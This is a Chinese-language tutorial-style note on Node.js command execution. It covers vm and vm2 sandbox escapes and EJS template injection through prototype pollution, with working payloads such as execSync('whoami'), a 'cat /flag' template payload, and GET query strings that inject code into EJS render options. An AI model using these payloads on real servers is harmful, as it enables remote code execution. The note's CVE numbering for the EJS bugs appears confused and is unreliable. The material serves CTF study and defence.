RCE
js与php类似,执行命令需要使用执行函数,常用的有
eval("js代码"); // 执行js代码
setTimeout("js代码", 延迟时间); // 延迟执行js代码
setInterval("js代码", 间隔时间); // 每隔一段时间执行js代码
Function("console.log('HelloWolrd')")(); // 通过Function构造函数创建一个新的函数并执行
一般执行RCE需要我们使用child_process模块下的exec函数,它会调用bash执行命令并返回结果
require('child_process').exec('code').toString();
由于exec调用的是shell,回显结果默认为buffer二进制流,需要使用toString()方法将其转换为字符串格式
关于toString()还有以下用法:
num.toString(16) 进制转化 const fruits = ["苹果", "香蕉", "橙子"]; console.log(fruits.toString()); // 输出: "苹果,香蕉,橙子"
需要注意的是js默认输出编码为utf-8,而中文系统CLI默认编码为gbk,需要使用iconv-lite模块进行编码转换
(function(args){
const buf = require('child_process').execSync(args);
console.log(require('iconv-lite').decode(buf, 'cp936'));
})('dir');
.exec和.execSync的区别在于前者是异步执行,后者是同步执行。execSync会阻塞代码执行直到命令执行完成并返回结果
有时候会ban你require的使用。在这种情况下,我们需要跳出当前环境
process.mainModule.require('child_process').exec('code');
process是当前js进程的全局对象,mainModule指向该对象主模块,process.mainModule 是 Node 传统 CommonJS 环境里访问入口模块的方式
global/globalThis是全局命名空间对象,process就是里面的属性。所以一般我们习惯在process里加上global指代全局而不是某个局部作用域的process
但通常沙箱环境的上下文process也不会去给。这里我们又要运用到js原型的知识
[].constructor.constructor('return process.mainModule.require("child_process").execSync("whoami").toString()')()
{}指代对象(也可以换成[],"")。他的构造函数是Array,而任何函数的构造函数都是Function。Function是构造js底层的构造函数,我们让他把process返回出来
再探究底层一点,其实MainModule也有原型:Module类。内部有私有方法_load(),require()本质上也是调用这个方法使用的
process.mainModule.constructor._load('child_process').exec('calc')
vm沙箱逃逸
node vm
- 方法
- context
刚刚提到了上下文(context),就是vm模块的作用环境,我们看一下官方文档中context如何运作
const { createContext, runInContext } = require('node:vm');
const x = 1;
const context = { x: 2 };
createContext(context); // 创建了contextifying对象
const code = 'x += 40; var y = 17;';
// 在上下文中,x,y相当于全局变量
runInContext(code, context);
// 在context中运行
console.log(context.x); // 42
console.log(context.y); // 17
console.log(x); // 1; y没有定义
context就是一个沙箱
context不具备全局CommonJS模块,无法直接调用require等函数。
const vm = require("vm");
// const context = {};
vm.createContext(context);
const xyz = vm.runInNewContext(`...`);
console.log(xyz);
-
vm.script类
new vm.Script(code[, options])script类对code只编译,不执行。可以多次运行
结合context,可以使用
script.runInContextconst context = { a: 10 } vm.createContext(context) const script = new vm.Script("a += 5; b = 99") script.runInContext(context) console.log(context) // { a: 15, b: 99 }并且script本身和context一样不带全局环境
除此之外,script内置
script.runInThisContext函数,他能访问/改变宿主的global变量const { Script } = require('node:vm'); global.globalVar = 0; const script = new Script('globalVar += 1', { filename: 'myfile.vm' }); for (let i = 0; i < 1000; ++i) { script.runInThisContext(); } console.log(globalVar); // 1000
-
逃逸
主要目的:拿到Function构造器
- 宿主侧暴露
对于context沙箱,里面一般不会给危险对象,所以我们必须要拿到构造器
我们都知道this指向对象或全局对象,在context里,this指代该沙箱的globalThis,而globalThis.constructor指object。所以payload可以这么写拿到Funcion
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()
这里的this.constructor还有很多写法,其目的就是逃逸到宿主侧使用 Function
假如context里传入了宿主对象,可以使用
outobj.toString.constructor
outobj.valueOf.constructor
都是指向 Function
- 隐式转换
我们都知道 "str"+obj 会调用 toString()方法,1 + obj 会触发valueOf()方法,这个就叫隐式转换
我们可以在context里覆写toString或valueOf()方法实现反调用
前提是导入了宿主侧对象
const vm = require("node:vm")
globalThis.FLAG = "flag{demo}"
function hostHelper() {
return "host helper"
}
const context = vm.createContext({
hostHelper,
})
const payload = `
({
toString() {
const HostFunction = hostHelper.constructor
return HostFunction("return globalThis.FLAG")()
}
})
`
const userObj = vm.runInContext(payload, context)
console.log("answer: " + userObj)
// answer: flag{demo}
-
proxy 反调用
proxy用于拦截对象操作,其中包括
get //
obj.attr触发set //obj.attr=value触发has //value in obj触发ownKeys //Reflect.ownKeys(p)、Object.keys(p)、Object.getOwnPropertyNames(p)getPrototypeOf //Object.getPrototypeOf(p)、Reflect.getPrototypeOf(p)、p.__proto__getOwnPropertyDescriptor //Object.getOwnPropertyDescriptor(p, "x")apply //p()、p.call(...)、Reflect.apply(p, thisArg, args)construct //new p()、Reflect.construct(p, args)我们可以vm内部拦截宿主操作
const vm = require("node:vm") globalThis.FLAG = "flag{demo}" function hostHelper() {} const context = vm.createContext({ hostHelper, }) const userObj = vm.runInContext(` new Proxy({}, { get(target, prop) { if (prop === "name") { const HostFunction = hostHelper.constructor return HostFunction("return globalThis.FLAG")() } return target[prop] } }) `, context) console.log(userObj.name) // flag{demo} -
defineProperty 反调用
除了 proxy,我们还可以直接用 defineProperty 函数直接改写getter/setter 方法,它本来是用来设置对象里的一个属性的,但它却可以设置操作这个属性用到的方法应用于这个对象
obj={} Object.defineProperty(obj, "token", { get() { const HostFunction = hostHelper.constructor return HostFunction("return globalThis.FLAG")() } }) return obj // 宿主侧 console.log(userObj.token) Object.defineProperty(obj, "result", { set(value) { const HostFunction = hostHelper.constructor this.leaked = HostFunction("return globalThis.FLAG")() } // hostHelper 来源于宿主侧 return obj console.log(userObj.leaked) -
JSON.stringify 反调用
原理是JSON.stringify调用的是toJSON()函数,宿主输出用了JSON.stringify格式化,我们就可以用它
toJSON() { const HostFunction = hostHelper.constructor return HostFunction("return globalThis.FLAG")() } -
util.inspect 反调用
这个不太常见,具体来说就是如果 console.log 的对象不是格式化字符串,就会调用 util.inspect() 调试输出。其中util.inspect.custom 可以定义一个函数让inspect()用定义方式显示
前提是沙箱会前置util.inspect.custom这个symbol,我也觉得ctf出这个毫无意义
const util = require("node:util")
const obj = {
[util.inspect.custom]() {
return "hello from inspect"
},
}
console.log(obj)
// hello from inspect
vm2
vm2是一个第三方模块,相当于vm的升级版,内部采用了proxy来进行控制访问。proxy是js的一个内置对象,可以用来定义基本操作的自定义行为,比如属性查找、赋值、枚举、函数调用等
这时候再写this.constructor就不行了,因为vm2默认会做对象包装、跨 realm 隔离、异常清洗、Promise 清洗、模块白名单等处理
- 捕获error.stack
不过vm2百密一疏,它捕获的error对象是不被包括在沙盒内的。我们可以捕获一个 err.stack 。反调用它
try {
this.process.removeListener();
// removeListener()必须要传参,否则会抛出异常
}
catch (host_exception) // 触发err.stack
{
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this.process')();
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("whoami").toString());
}
在 V8 引擎里,当访问err.stack时,prepareStackTrace函数会把错误格式化
但如果我们反调用 prepareStackTrace
const vm = require("node:vm")
globalThis.FLAG = "flag{demo}"
function hostHelper() {
return "host helper"
}
const context = vm.createContext({
hostHelper,
})
try {
vm.runInContext(`
Error.prepareStackTrace = function (err, frames) {
const HostFunction = hostHelper.constructor
return HostFunction("return globalThis.FLAG")()
}
throw new Error("boom") // 抛出异常
`, context)
} catch (err) {
console.log(err.stack) // 访问异常
}
访问 err.stack 就会触发 prepareStackTrace
但要是没有前置对象,就需要栈帧逃逸
和python一样,stack frame栈帧代表函数的帧,V8 引擎 会把这些帧包装成 CallSite 对象,而这些对象有如下方法
Callsite.getThis() // 返回该帧this的值
Callsite.getFunction() // 返回这一帧正在执行的函数对象
// 可以用Callsite[num]来从里到外定位栈帧的位置
我们可以在用prepareStackTrace获取frames后,相当于获取了Callsite对象,然后我们找有没有一帧脱离沙箱到了宿主函数
Error.prepareStackTrace = function (err, frames) {
return frames.map((frame, index) => ({
index,
name: frame.getFunctionName(),
file: frame.getFileName(),
hasFunction: frame.getFunction() !== undefined,
hasThis: frame.getThis() !== undefined,
}))
}
假如是第0帧为宿主帧,我们可以获取函数对象或者获取它的this(指向globalThis),实现栈帧逃逸
Error.prepareStackTrace = function(err, stack) {
const func = stack[0].getFunction();
const hostGlobal = func.constructor('return this')();
const proc = hostGlobal.process;
const require = proc.mainModule.require;
...
};
function testFunc() {
new Error().stack; // 访问异常
}
testFunc();
js rce 的应用
EJS
EJS 的全称是 Embedded JavaScript templating(嵌入式 JavaScript 模板)。在前端和 Node.js 后端(特别是配合 Express 框架,通过 Express 路由中的 res.render('viewName', localsObject) 方法,后端将数据对象(locals)传递给 EJS 模板,模板内的变量直接对应对象属性,实现逻辑与视图的解耦),它是最受欢迎的模板引擎之一,它允许你在 HTML 里直接写原生的 JavaScript 代码
- 表达式
ejs.render(template, data): 属于 EJS 渲染引擎模块,仅返回渲染后的字符串。需手动发送(如res.send())。接受一个 字符串模板 和 变量对象。易触发直接 SSTI。ejs会把接受的变量转换成以下格式:
<%= variable %> //(转义输出,安全)
<%- variable %> //(不转义,可用于执行js代码),比如
<%- global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
<% if (user) { %> ... <% } %> 执行代码
- 原型链污染导致的 SSTI
res.render('viewName', { userInput: userInput }):属于Express 框架。接受.ejs模板文件,自动发送 HTTP 响应。有原型链污染注入
Express在调用EJS渲染时,可以通过settings对象的view options属性自定义render配置
{ settings: { 'view options': { ... } } }
默认情况下,Express 支持 querystring 解析 URL 查询参数,并将其转换为一个对象。在res.render中,这个对象会被传递给 EJS 模板作为数据源。如果攻击者能够控制这个对象的原型链,就可以在 EJS 渲染时注入恶意代码
我们讲两个典型的CVE,要了解这两个CVE就要搞懂EJS渲染原理
EJS渲染时会把模板转换成字符串,然后EJS 会使用 JavaScript 内置的 new Function() 构造器,将这段纯字符串变成一个可执行的函数anonymous,调用并返回
CVE-2021-24018:EJS < 3.1.6
EJS 在编译时,会根据一个配置参数 opts.outputFunctionName 允许开发者修改模板编译内部用于拼接输出字符串的变量名
var prepended = '';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;\n';
}
如果我们通过原型链污染给 Object.prototype 塞入一个恶意的 outputFunctionName,然后通过qs解析器传递给res.render('viewName',req.query)使其添加在anonymous中,使其改变ejs解析方式:
GET /?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');//
// 这里的//是为了注释掉后面的 = __append
就成了
function anonymous(locals, escapefn, include, rethrow) {
var x;process.mainModule.require('child_process').execSync('id');// = __append;
// ... 后续渲染代码 ...
}
当 EJS 再次渲染任何一个正常模板时,这段恶意的 JS 代码被执行
CVE-2022-29078:EJS < 3.1.7
CVE-2021-24018出现后,ejs开发者赶紧给outputFunctionName加了正则,但他忽略了另一个参数 escapeFunction ,于是就有了CVE-2022-29078
escapeFunction 是 EJS 内部用于转义输出的函数名,当开启 client: true 模式编译模板时,EJS 会把 escapeFunction 的内容拼接到anonymous里
if (opts.client) {
src += ' var escapefn = ' + opts.escapeFunction + ';\n';
}
function anonymous(locals, escapefn, include, rethrow) {
var escapefn = ejs.escapeXML;
}
同理
GET /?settings[view options][client]=true&settings[view options][escapeFunction]=process.mainModule.require('child_process').execSync('id')
